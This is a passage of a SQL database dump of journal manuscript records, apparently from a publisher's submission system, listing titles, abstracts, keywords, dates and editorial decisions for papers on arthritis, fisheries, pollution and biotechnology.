Information.',2141,NULL,'2023-06-10',NULL,'Submitted',2,NULL,'2023-07-28',NULL,1,1,'0','Accepted for publication in the journal',0,NULL,NULL,NULL,0,0,0,NULL,0),(13810,13929,45,0,'iphsj-23-13810','Stress management and Health promotion: Recent Evidence based Practices',NULL,17,0,'','','',4076,NULL,'2023-06-13',NULL,'Submitted',2,NULL,'2023-07-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13812,13933,996,0,'ipar-23-13812','Understanding Rheumatoid Arthritis: Symptoms, Causes, and Treatment',NULL,17,0,'','Rheumatoid arthritis (RA) is a chronic autoimmune disease characterized by joint inflammation, pain, and stiffness. It affects millions of people worldwide, impacting their quality of life and daily functioning. While the exact cause of RA remains unknown, a combination of genetic, environmental, and hormonal factors contribute to its development. Early diagnosis and appropriate treatment are crucial for managing the condition effectively. The treatment approach for RA involves medication, physical therapy, lifestyle modifications, and ongoing medical management. While there is no known cure, advancements in research and treatment options have significantly improved outcomes. Ongoing research provides hope for the development of more targeted and effective therapies in the future. By understanding the symptoms, causes, and available treatments for RA, individuals and healthcare professionals can work together to improve the management of this complex autoimmune disease.','Rheumatoid arthritis, autoimmune disease, Chronic, Joints, Pain.',3649,NULL,'2023-06-13',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0','Accept the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(13813,13932,996,0,'ipar-23-13813','Synovial Fluid: The Marvelous Lubricating Fluid of Joints',NULL,17,0,'','Synovial fluid, the lubricating fluid found in our joints, plays a crucial role in maintaining joint health and facilitating smooth movement. Composed primarily of water along with hyaluronic acid, lubricin, glycosaminoglycans, proteins, electrolytes, and cells, synovial fluid possesses unique characteristics that contribute to its functions. These functions include lubrication, shock absorption, nutrient supply, waste removal, and immune response. By reducing friction, synovial fluid enables effortless joint movement and prevents cartilage damage. It also acts as a shock absorber, distributing forces evenly and protecting the joint from excessive pressure. Nutrient supply and waste removal are facilitated by synovial fluid, which nourishes the avascular cartilage and removes metabolic waste products. Additionally, synovial fluid houses immune cells that defend the joint against pathogens and regulate inflammation. Disorders such as osteoarthritis, rheumatoid arthritis, infections, and injuries can disrupt the composition and function of synovial fluid, leading to joint-related complications. Understanding the intricate role of synovial fluid enhances our comprehension of joint physiology and supports the development of strategies for preserving joint health. Further research in this field may uncover novel insights into synovial fluid, contributing to improved treatments and therapies for joint disorders.','synovial fluid, lubricating fluid, joints, composition, characteristics',3649,NULL,'2023-06-13',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13814,13931,996,0,'ipar-23-13814','Advances in Understanding and Treating Autoimmune Diseases: Unraveling the Complexities',NULL,5,0,'','Autoimmune diseases pose a significant burden on individuals worldwide, as the immune system mistakenly attacks healthy cells and tissues. Recent advancements in research and treatment approaches offer hope for improved management of these complex conditions. Genetic and environmental factors are being explored to better understand susceptibility and triggers. The role of the gut microbiome is gaining attention, with dysbiosis linked to autoimmune diseases. Precision medicine tailors treatments to individual patients using advanced diagnostic tools. Biologics, derived from living organisms, show promise in targeting specific immune pathways. Regenerative medicine, particularly stem cell therapy, offers potential for tissue repair and immune modulation. Despite challenges, on-going efforts in the scientific community provide hope for better outcomes and improved quality of life for individuals living with autoimmune diseases.','Autoimmune diseases, Immune system, Genetic factors, Environmental triggers, Gut microbiome',3649,NULL,'2023-06-13',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'0','Accept the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(13816,13736,639,0,'ipfs-23-13816','Surface divergence in the Mediterranean Pelagic Accumulation as a Source of Variability',NULL,5,0,'','Many studies have shown that habitat complexity or habitat diversity plays a major role in biodiversity at various spatial scales. As structural heterogeneity increases, so does the number of (micro) habitats available for potential species inventories. As habitat heterogeneity increases, the ability to accommodate species (including rare ones) increases rapidly. However, measuring the habitat complexity of marine subtidal sediments is not straightforward. In our study, we made a proposal to estimate the habitat complexity of subtidal benthic organisms using standard underwater video techniques. The tool was then used to study the impact of habitat complexity on species richness compared to other environmental parameters in the Fehmarnbelt Marine Protected Area, a narrow strait in the southwestern Baltic Sea. Did. Our results show that heterogeneous substrate species richness is significantly higher for all sediment types considered. Therefore, the presence of rare species increases as the structure becomes more complex. Our results highlight the importance of microhabitat availability for benthic biodiversity and research areas of local ecosystem function.','macrozoobenthos; Baltic Sea; species richness; rare species',1776,NULL,'2023-06-14',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13820,13739,639,0,'ipfs-23-13820','Regional Variations in Fish Abundance and Their Impacts on the Northern Region\'s Microbiome and Ecosystem',NULL,25,0,'','In recent decades, northern fish  coastal waters have been observed to be major hotspots for fishbloom. A bottom trawling survey in summer 2021 will investigate the spatial distribution of large fish abundance and biomass in this area. Nemopilema nomuroi, Cyanea spp. and Urmaryidae (undefined species) were identified during the survey. Realized niches for the three most common species (N. nomuroi, Cyanea spp., and A. nomuroi coerulea) was measured using a maximum entropy model (MaxEnt) to describe its spatial distribution pattern. Nemopilema nomurai was used as a representative species to estimate the feeding rate and feeding pressure of large fish on zooplankton. During flowering of N. nomuroi, the potential zooplankton consumption by N. nourai was enormous and exceeded the zooplankton productivity of the area where N. nourai was flowering. Nomurai gathered in this study. For dwarf copepods, reduced absolute and relative abundances were observed in mid-flowering and flowering stations compared to non-flowering stations. The niches of large fish identified in this study and their relationship with zooplankton help us to understand their biogeographic distribution and ecological role in northern China coastal waters under future climate change scenarios.','Fish  bloom; Geographical distribution; realized niches; ecological roles',1776,NULL,'2023-06-14',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13823,13934,639,0,'ipfs-23-13823','Evaluating the Risks of Increasing Potential Pollutants on Sea creatures and in the Ocean',NULL,19,0,'','Against this historical backdrop, the Mediterranean Sea faces an increasing threat from emerging pollutants such as pharmaceuticals, personal care products, heavy metals, pesticides and microplastics, which pose grave threats to the environment and human health. In this regard, aquatic invertebrates and fish are particularly vulnerable to the toxic effects of these contaminants, and several species have been identified as biomarkers for their detection. Of these, mussels and Erasmo twigs are now widely used as biomarkers to accurately assess the effects of pollutants. This study focuses on the dogfish Scyliorhinus canicular and the Mediterranean mussel Mytilus galloprovincialis. The first value is a useful indicator of local pollution levels due to exposure to contaminants that accumulate on the seafloor. In addition, it has a high nutritional status and plays an important role in the Mediterranean ecosystem. On the other hand, the mussel Mytilus galloprovincialis, as a filter organism, can absorb and bioaccumulate foreign substances present in the environment. It also has a direct impact on human health as it is a kind of commercial purpose. In summary, the increasing presence of new pollutants in the Mediterranean Sea is a serious problem that requires immediate attention. Mussels and elasmobranchs are two of her examples of bioindicators that should be used to accurately determine the impact of these contaminants on marine ecosystems and human health.','bioindicators; emerging contaminants; environmental toxicity; Mediterranean Sea',1777,NULL,'2023-06-14',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13824,7970,639,0,'ipfs-23-13824','Emerging Concerns Regarding Marine Species Interaction and Ecosystem Sustainability',NULL,2,0,'','The Marine Species interface is important for understanding the interconnection of terrestrial and marine ecosystems, providing ecosystem services to humans. Both ecosystems have been studied, but knowledge of their interactions remains limited. Although research interest in Marine Species interactions has grown in the last decade, other types of knowledge systems, such as local and indigenous knowledge, have not yet been included. The purpose of this study is to review the literature on Marine Species interactions in the context of ecosystem services frameworks to facilitate the taxonomy of existing research. A systematic review of the literature was performed by searching for peer-reviewed publications on the Web of Science using keywords related to Marine Species interactions. Overall, 166 publications were identified. This result suggests that the main field to study Marine Species interactions is biogeochemistry and ecology, with an emphasis on nutrients and interactions. From the perspective of ecosystem services, urbanization and agricultural and forest runoff have been studied as the main drivers, with service support and regulation being the most commonly studied. The results indicate the need for a more comprehensive examination of Marine Species interactions that recognizes the important role that social factors play in shaping the sustainability of these systems. I\'m here. A future challenge, therefore, is to use a more holistic approach to study and manage Marine Species interactions.','land–sea interface; coastal margins; social ecology; knowledge systems; trans-ecosystem interactions; local knowledge',1778,NULL,'2023-06-14',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13825,3781,639,0,'ipfs-23-13825','Rhizostome Fish Forecasting Using Available Data: International Statistics and Hooks',NULL,25,0,'','As climate change accelerates, biodiversity declines, and ecosystems change, it becomes increasingly difficult to capture dynamic populations, track changes, and predict responses to climate change. At the same time, publicly available databases and tools will increase access to science, foster collaboration, and generate more data than ever before. One of his most successful projects is his AI-driven Social His Network, which also serves as a public database designed to allow citizen scientists to accurately report their personal biodiversity accounts. It\'s his iNaturalist. I\'ll do it. iNaturalist is particularly useful for studying rare, dangerous and charismatic organisms, but requires better integration into marine systems. Despite their abundance and ecological importance, fish species are difficult to manage due to the lack of long-term datasets with large numbers of samples. 8,412 data curated from both iNaturalist (n = 7,807) and published literature (n = 7,807) to provide a large sample size dataset and demonstrate the utility of publicly collected data We synthesized two global datasets of 10 fish species of the order Rhizostomeae, including points. 605) included). These reports were then used in combination with publicly available environmental data to predict global niche segmentation and distribution. The first niche model revealed that only 2 out of 10 genres have different niche areas. However, application of machine learning-based random forest models suggests species-specific differences in the association of abiotic environmental variables used to predict fish populations. Our approach of integrating reports from the literature with iNaturalist data helped us assess the quality of the models and, more importantly, the quality of the underlying data. We believe that freely accessible online data are valuable but subject to bias due to their limited taxonomic, geographic and ecological resolution. With underrepresented local experts, celebrities and enthusiasts who can implement locally coordinated projects and increase global participation to improve the resolution and meaning of the data. We encourage you to cooperate.','Fish: random forests model; online databases; citizen science; iNaturalist; Cnidaria',1781,NULL,'2023-06-14',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13826,13936,971,0,'ipaclr-23-13826','Alterations in plasma',NULL,14,2,'Emerging Technologies in Clinical Research: Challenges and Opportunities','','',3761,NULL,'2023-06-16',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13827,13937,45,0,'iphsj-23-13827','Wearable and Implantable Medical Expedients: Potential and Challenges for Modern Health Care',NULL,17,0,'','The concept of wearable medical technology was first introduced by Edward O Thorp, a mathematics professor at the Massachusetts Institute of Technology in the United States, about 6 decades ago. The first implantable medical device developed was a pacemaker for arrhythmia patients in 1958. Since then, various types of pacemakers and implantable cerebellar stimulators have been developed and used. Wearable technology has received considerable attention from worldwide researchers. With the advancement of communication technology including internet, hardware fabrication, and big data analytics, wearable technology has made rapid strides of progress in health care and health monitoring. This technology resulted in manifestation of smart watches, armbands, and glasses','',651,NULL,'2023-06-17',NULL,'Submitted',2,NULL,'2023-07-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13828,13938,277,0,'ipadm-23-13828','The skin we are in: Exploring the science and function of our largest organ',NULL,17,2,'',' ',' ',2805,NULL,'2023-06-17',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13829,13935,639,0,'ipfs-23-13829','Evaluating the Effect of Fisheries on the Examination of Conventional Drugs in Freshwater',NULL,17,0,'','Antibiotics have historically been used to treat illnesses brought on by dangerous germs in both humans and animals. The rapidly growing aquaculture business uses a variety of antibiotic classes, which could leave antibiotic residues in the nearby aquatic environment and cause the products to increase bacterial resistance. The objective of this study was to optimise, validate, and apply a solid-phase extraction (SPE) method in conjunction with liquid chromatography (LC)-LTQ/Orbitrap mass spectrometry to identify the most frequently used antibiotics in waters sampled from freshwater and saltwater fish farms in Greece. The approach was validated under ideal circumstances, with recoveries ranging from 57.7% for sulfamethoxazole in river water to 95.8% for florfenicol in river water. Relative standard deviations (RSDs) 15.9%, with technique quantification limits in all cases between 0.25 and 10 ng•L1. By using the suggested methods, it was possible to detect traces of trimethoprim and oxytetracycline. The risk was determined to be medium to low in all cases by computing the risk quotient (RQ) for three trophic levels (8.013 106 RQ 0.496) or the mixture RQ (0.005 RQ 0.682), which was the final step in assessing the environmental risk presented by the conventional drugs found.','Conventional Drugs ; aquaculture; SPE',1776,NULL,'2023-06-17',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13830,13741,639,0,'ipfs-23-13830','Analysis of salmon activity in response to Fisheries diseases',NULL,2,0,'','Analysis of salmon behaviour is a successful method for detecting environmental toxins that have a negative impact on salmon survival, production, and quality. Large volumes of non-linear data are produced when tracking individual and group behaviour, necessitating the use of specialised computing techniques to interpret and manage the data. Measures of operational complexity (FD) and predictability (entropy) are provided by two categories of nonlinear analysis approaches called fractal dimension (FD) and entropy. Changes in FD and entropy values can obviously be incorporated into biological early warning systems (BEWS), which are particularly accurate, because behavioural complexity and predictability can be modified by pollutants. There are various salmon farming environments and situations where it can be useful. for keeping an eye on wild populations. The study looked into a wide range of environmental pollutants, including pesticides, persistent pollutants, heavy metals (lead, copper, and mercury), heavy metals (lead, copper, and mercury), stimulants (caffeine), anaesthetics, and antibiotics. gives a summary of the effects of drugs. Studies on the population and individual behavioural reactions of different salmon species\' HFD and entropy levels. With early changes in the tendency to develop their values before they significantly diverge from control values, all revised investigations show the value of both FD and entropy to identify the presence of pollutants. the importance of taking H into account. While pollutants are prevalent, it is still possible to spot them and keep salmon healthy and intact.','aquaculture; aquatic pollutants; entropy; Salmon behaviour',1771,NULL,'2023-06-17',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13831,13740,639,0,'ipfs-23-13831','The Spread of Fish Species is Regulated via Ecological Characterisation and Specialised Information Systems',NULL,2,0,'','Non-native creatures known as freshwater invasive alien species (IAS) were mistakenly or purposely discharged into nearby water bodies, where they disrupted the ecosystem and caused damage to the invaded habitat. Environmental deoxyribonucleic acid (eDNA) analyses have been utilised successfully in numerous research over the past few years to identify IAS. However, efforts to find IAS can be conducted more quickly and effectively with the aid of geographic information systems (GIS). In this article, we examine the history of IAS in Southeast Asia and management initiatives that involved the GIS mapping of known habitat-specific geographical features. This method makes it easy to detect and separate regions with IAS habitat traits from those without.  Later, eDNA analysis can be used to validate the presence of IAS in places where it has been discovered, allowing for additional research and action. IAS can be used as an indicator to evaluate the environmental integrity of native rivers in certain places. This combined strategy is perhaps the first to be used to find freshwater IAS in nearby bodies of water. Integrating GIS and eDNA into the research of IAS not only improves the ecology and saves energy and resources, but also helps residents and authorities manage and take the required enforcement measures to stop its spread.','invasive alien species; freshwater; management; environmental DNA',5411,NULL,'2023-06-17',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13832,13934,639,0,'ipfs-23-13832','Review of Aquatic Creature Factors in Human-Involved Environments ',NULL,17,0,'','Concerns regarding the accumulation of microplastic in fish cages that could have an effect on human health when consumed are raised by the way farmed fish bite nylon netting. Net biting is actually caused by biofouling on the mesh, which is a tasty food that attracts fish. Therefore, it is possible that some of the microplastics from the mesh will be consumed by fish, and that after people eat the fish, those microplastics will enter their digestive systems. Additionally, through marine currents, land fluxes, and feeding chains in the ocean, caged fish may come into contact with microplastics. Comparisons with natural populations of Turkish and Iranian fish have been done in order to assess the level of microplastic contamination in fish kept in cages. seas, in order to demonstrate the dangers of fish-to-human microplastic transmission. The amount of microplastics in diets has been assessed through analyses of water samples, sediments, diets, zooplankton, and fish tissues. The FT-IR spectrometer was used to identify the polymeric components in the collected microplastics, and Raman spectrometry was used to ascertain the shape, size, and polymer type of the microplastics. Based on the preliminary findings, the connection between the hazards to human health associated with consuming contaminated fish and the effect of cage nets on microplastic buildup in fish digestive systems has been evaluated. The results of this study could contribute to the development of sustainable cage aquaculture management practises that ensure future generations have access to healthy food.','microplastics; farmed fish; consumer health;',1776,NULL,'2023-06-17',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13834,7462,971,0,'ipaclr-23-13834','Cytological Changes in Buccal Mucosa among Glue Abusers in Shendi, Sudan',NULL,14,3,'','Background: Glue sniffing among young people on the streets has gone completely out of control. The majority of street kids start out sniffing glue before moving on to other, more extreme narcotics. The organizations tackling the drug problem claim that because it is inexpensive and widely accessible, the majority of young people on the streets smell it. Objective: The purpose of this study was to assess how sniffing glue affected the buccal mucosal cells. Materials and Methods: This cross-sectional descriptive study was carried out at Shendi town between March 2021 and March 2022. The study involved 150 participants under the age of 25, of whom 50 were glue abusers. The remaining 50 participants served as the (control1) group, and their parameters were similar to those of the abusers\', with the exception that they did not abuse glue. The final 50 participants served as the (control 2) group, and they appeared to be in good health and did not use tobacco, Glue sniffing, or another type of addiction. Buccal samples were taken from each group, strained by pap stain, and microscopically examined. A standardized face-to-face questionnaire was utilized to gather data, and the (SPSS) version (11.5) application was used to analyze the results. Results: The study revealed a significant P-value of nuclear atypia among study populations, inflammation, and infection was 0.000, the significant relationship of nuclear atypia with the duration of glue snuffing and dose of glue with P-value 0.000,0.001 respectively. Conclusions:  The usage of glue caused considerable morphological alterations in mucosal cells, such as nuclear atypia and pre-nuclear hallo, as well as inflammations and infections (bacterial and viral).','Glue, Street children, Nuclear atypia, Buccal mucosa, Shendi.',5381,NULL,'2023-06-19',NULL,'Submitted',12,NULL,'2023-10-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13835,13939,981,0,'ipft-23-13835','Exploring the Fascinating World of Bio chemicals: Nature\'s Building Blocks',NULL,5,0,'','Bio chemicals are complex organic compounds that serve as the building blocks of life, playing crucial roles in diverse biological processes. This article provides an overview of biochemical, including their types and significance. Carbohydrates, lipids, proteins, and nucleic acids are the major categories of biochemical, each with distinct functions and contributions to cellular processes. Additionally, the article explores the wide-ranging applications of biochemical in fields such as medicine, agriculture, environmental science, and industry. Understanding the intricate world of biochemical unlocks opportunities for advancements in various disciplines and fosters sustainable practices.','Bio chemicals, biomolecules, carbohydrates, lipids, proteins, nucleic acids, organic compounds',5438,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13837,13941,981,0,'ipft-23-13837','Unleashing the Power of Bio pharmaceutics: Revolutionizing Drug Delivery',NULL,19,0,'','Biopharmaceutics is a multidisciplinary field that combines biology, pharmacology, and pharmaceutical sciences to optimize drug delivery systems and improve therapeutic outcomes. This article explores the significance of biopharmaceutics in enhancing drug absorption, predicting drug behavior, and formulating innovative drug delivery systems. It highlights the role of biopharmaceutics in bioequivalence studies and generic drug approval, ensuring the availability of safe and cost-effective medications. The article also discusses future directions in biopharmaceutics, including nanotechnology, precision medicine, and personalized drug delivery. Overall, biopharmaceutics is transforming the pharmaceutical industry by revolutionizing drug development and paving the way for more efficient and targeted therapies','biopharmaceutics, drug development, pharmacology',5438,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13838,13942,981,0,'ipft-23-13838','Clinical Assessments: A Crucial Tool in Modern Healthcare',NULL,3,0,'','Clinical assessments are a critical aspect of healthcare, serving as a comprehensive means of gathering essential information about a patient\'s health status. These assessments involve a systematic process of evaluating physical, mental, and emotional well-being through various techniques and standardized tools. The primary purpose of clinical assessments is to aid healthcare professionals in diagnosing medical conditions, determining treatment suitability, and monitoring treatment progress.\r\nPhysical assessments form a significant part of clinical evaluations, enabling healthcare providers to examine vital signs, measure body mass index (BMI), assess reflexes, and examine organ systems. By conducting thorough physical assessments, clinicians can identify physical illnesses, detect abnormalities, and monitor overall health. This data is invaluable in guiding treatment decisions and ensuring appropriate interventions.\r\nPsychological assessments are another crucial aspect of clinical evaluations, focusing on mental and emotional well-being. These assessments employ structured interviews, questionnaires, and standardized psychological tests to assess cognitive abilities, personality traits, emotional functioning, and behavioral patterns. Psychological assessments play a vital role in diagnosing mental health disorders, guiding therapeutic approaches, and evaluating treatment effectiveness.','Clinical assessments,healthcare',5438,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13839,13943,981,0,'ipft-23-13839','Bio Process: Unlocking the Potential of Biological Systems',NULL,25,0,'','Bio-processes, rooted in the principles of biotechnology and biological sciences, have emerged as a promising avenue for sustainable and eco-friendly applications across diverse industries. This abstract highlights key advancements in bio-processes, showcasing their potential to address global challenges, promote circular economies, and revolutionize various sectors. The abstract begins by elucidating the fundamental principles of bio-processes, emphasizing the utilization of living organisms, such as bacteria, yeasts, and enzymes, as catalysts for diverse biochemical reactions. It explores the significance of metabolic engineering, synthetic biology, and genetic modifications in enhancing the efficiency and versatility of bio-processes. The abstract then delves into specific applications of bio-processes in different industries. In the agricultural sector, bio-processes have been employed for the production of bio-fertilizers, bio-pesticides, and bio-remediation techniques, ensuring sustainable and environmentally friendly practices. Additionally, bio-processes have revolutionized the pharmaceutical industry, enabling the production of complex therapeutic proteins, vaccines, and bioactive compounds through recombinant DNA technology and fermentation processes. The abstract concludes by highlighting the challenges and future prospects of bio-processes. It discusses the importance of optimizing process parameters, improving strain engineering techniques, and addressing regulatory and ethical considerations. Moreover, it underscores the need for interdisciplinary collaboration and continuous research to unlock the full potential of bio-processes and realize their broader societal and environmental benefits.\r\nThis abstract provides a comprehensive overview of the advancements in bio-processes and their transformative potential in addressing global challenges, promoting sustainability, and revolutionizing various industries. Harnessing the power of nature, bio-processes offer a promising pathway towards a greener and more sustainable future.','bio process, biotechnology, industrial bioprocessing, fermentation, genetic engineering, microbial production, bioreactor, downstream processing, biopharmaceuticals',5438,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13840,13944,981,0,'ipft-23-13840','Downstream Processing: Unlocking the Potential of Biotechnology',NULL,19,0,'','Downstream processing is a crucial step in biopharmaceutical manufacturing that involves the purification and separation of desired products from complex mixtures. It plays a pivotal role in ensuring the safety, purity, and potency of therapeutic proteins, enzymes, and other biologics. This abstract provides an overview of the key principles and techniques involved in downstream processing. The process begins with the harvest of the bioreactor, which contains the target product along with impurities such as host cell proteins, nucleic acids, and cell debris. The first step in downstream processing is cell removal, which can be achieved through centrifugation, filtration, or flocculation. Subsequently, the desired product is separated from impurities using a combination of techniques such as chromatography, precipitation, filtration, and crystallization. Chromatography, particularly affinity chromatography, is widely used for the selective purification of biopharmaceuticals. It exploits the specific interactions between the target product and a ligand immobilized on a solid support. Other chromatographic techniques, such as ion exchange, size exclusion, and hydrophobic interaction chromatography, are employed for further purification and polishing steps. Filtration methods, including microfiltration, ultrafiltration, and diafiltration, are employed to remove particles, viruses, and macromolecules based on their size. Precipitation techniques involve the addition of salts, organic solvents, or pH adjustments to induce the separation of the target product from contaminants. Crystallization, mainly used for small molecules, allows the isolation of highly pure compounds through controlled cooling or solvent evaporation. The downstream processing workflow also encompasses concentration and formulation steps to achieve the desired product concentration and stability. Tackling viral safety is an essential aspect, and viral clearance steps such as viral filtration and inactivation are incorporated to ensure the absence of adventitious agents in the final product.\r\nProcess monitoring and control, automation, and the use of high-throughput technologies have emerged as key areas of focus in downstream processing, with the aim of improving efficiency, reducing costs, and ensuring regulatory compliance. Downstream processing is a complex and multi-step process that requires a deep understanding of the physicochemical properties of the target product and the contaminants. By employing a combination of purification techniques and advanced technologies, biopharmaceutical manufacturers can consistently deliver high-quality products that meet the stringent regulatory requirements for safety and efficacy.','Downstream processing; Bioprocessing; Purification; Biomolecules; Separation; Chromatography; Filtration; Centrifugation; Ultrafiltration; Diafiltration; Concentration',5438,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13841,13945,981,0,'ipft-23-13841','Fermentation: Unleashing the Power of Microbes for Flavor and Preservation',NULL,5,0,'','Fermentation is a natural metabolic process that has been harnessed by humans for centuries to produce various products, including food, beverages, and industrial chemicals. It involves the conversion of organic substances by microorganisms such as bacteria, yeasts, or fungi in the absence of oxygen. This process has wide-ranging applications and plays a crucial role in the production of fermented foods like bread, cheese, and yogurt, as well as alcoholic beverages like beer and wine. Fermentation also finds application in the production of biofuels, pharmaceuticals, and other industrial chemicals. This abstract provides an overview of fermentation, its underlying principles, and its significance in diverse industries, highlighting the key factors that influence the process and the importance of optimizing fermentation conditions for desired outcomes.\r\nFermentation is a metabolic process that has been harnessed by humans for thousands of years to produce various products, ranging from food and beverages to pharmaceuticals and biofuels. It involves the conversion of organic compounds, such as carbohydrates, into simpler compounds, such as acids, alcohols, or gases, by the action of microorganisms, primarily yeasts and bacteria. This process plays a crucial role in different industries and has significant implications for the global economy and sustainability efforts. Understanding the principles and applications of fermentation is essential for optimizing product yields, improving process efficiency, and developing new biotechnological solutions. This article provides an overview of fermentation, highlighting its significance, key concepts, and diverse applications, along with an exploration of recent advancements and emerging trends in the field.','fermentation, microorganisms, metabolic process, organic substances, food production, beverage production, industrial chemicals, biofuels, pharmaceuticals, optimization.',5438,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13842,13946,975,0,'ipjbs-23-13842','Perforator Vascular Localization Assisted by Different  Methodology in Reconstructive Surgery 	',NULL,15,0,'','Different methodologies assist perforator’s vascular localization in reconstructive surgery. In modern reconstructive microsurgery, perforator flaps have become the pillar of treatment. Their well-described benefits over the conventional free flaps are reduced donor location morbidity, improved flap mobility, and determining, creating reconstructive methods additional ingenious. There are different procedures used for vascular plotting in perforator flaps. In this review, we will debate the pros and cons as well as comaprison of numerous vascular plotting techniques used for vascular localization in detail such as Hand-held Doppler sonography (HHD), CT angiography (CTA), MR angiography (MRA), DS angiography (DSA), CD sonography (CDS), Infrared thermography (IRT), and Indocyanine green-fluorescence angiography (ICG-FA).  	',' Perforator flap, different methodologies, pros and cons, comparison, review ',3677,NULL,'2023-06-19',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13843,13935,639,0,'ipfs-23-13843','Physiological Perspectives on the Biological Effects of the Toxic Substance that Kills Fish in the Ocean',NULL,17,0,'','A unicellular microalga known as heterosigma akashiwo has the potential to kill large numbers of both wild and farmed fish globally, causing significant economic losses. Environmental factors including salt, light, and temperature had a big impact on how H. akashiwo bloomed and how deadly it was. While one-factor-at-a-time (OFAT) approaches, which only alter one variable at a time while holding others constant, were used in earlier studies, a design of experiment (DOE) approach, which is more precise and efficient, was used in the current study to examine the simultaneous effect of three factors and their interactions. To examine the impact of salinity, light intensity, and temperature on the toxicity, lipid production, and protein production of H. akashiwo, the study used a central composite design (CCD). In contrast to standard approaches that use the entire organism, a yeast cell assay was created to evaluate toxicity and provides quick and convenient cytotoxicity evaluations using a lesser number of samples. According to the results, H. akashiwo is most hazardous at 25 °C, 17.5 % salinity, and 250 mol photons per square metre per second of light. At 25 °C, a salinity of 30, and a light intensity of 250 mol photons m2 s1, the highest concentrations of lipid and protein were discovered. Warm water mixing with river input that is lower in salinity hence has the potential to improve H. akashiwo toxicity, which is consistent with environmental studies linking warm summers to situations with heavy runoff that pose the biggest threat to aquaculture enterprises.','Heterosigma akashiwo; toxicity; Saccharomyces cerevisiae; salinity; light',1776,NULL,'2023-06-20',NULL,'Submitted',2,NULL,'2023-06-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13844,13947,981,0,'ipft-23-13844','Accelerating Drug Development for COVID-19: A Race against the Pandemic',NULL,6,0,'','The COVID-19 pandemic necessitated an urgent and accelerated approach to drug development. This abstract highlights the remarkable efforts made in developing drugs for COVID-19, including collaboration among scientists, repurposing existing drugs, and the triumph of vaccine development. The global scientific community joined forces, sharing knowledge and data to understand the virus better. Repurposing existing drugs allowed for faster clinical trials and promising results. The development and distribution of vaccines became a historic achievement, significantly reducing the spread and severity of the virus. Challenges such as safety assessments and equitable distribution were encountered. Lessons learned from this endeavor will shape future drug development and global pandemic preparedness. The COVID-19 drug development race showcases human resilience, scientific advancement, and the power of collaboration.','COVID-19, drug development, pandemic, existing drugs',5438,NULL,'2023-06-20',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13845,13948,981,0,'ipft-23-13845','Toxicology and the Pursuit of a Safer Environment',NULL,25,0,'','Toxicology plays a vital role in safeguarding the environment and promoting human health by studying the adverse effects of chemicals on living organisms. This abstract explores the significance of toxicology in creating a safer environment. It highlights the field\'s contributions in identifying and assessing toxic substances, establishing exposure limits and guidelines, promoting chemical safety and management, evaluating the impacts of pollution, advancing alternative testing methods, and addressing emerging challenges. By understanding the complexities of chemical toxicity, toxicologists provide essential insights for regulating hazardous substances, developing risk management strategies, and shaping pollution control policies. As new challenges emerge, such as nanomaterials and emerging contaminants, toxicology must adapt and evolve alongside advancements in science and technology to ensure a healthier and safer future for all.','Safeguarding, Toxicology, Hazardous substances',5438,NULL,'2023-06-20',NULL,'Submitted',2,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13846,13949,996,0,'ipar-23-13846','Understanding Spondyloarthritis: Symptoms, Causes, and Treatment Options',NULL,5,0,'','Spondyloarthritis is a group of chronic inflammatory diseases that primarily impact the spine and joints, resulting in 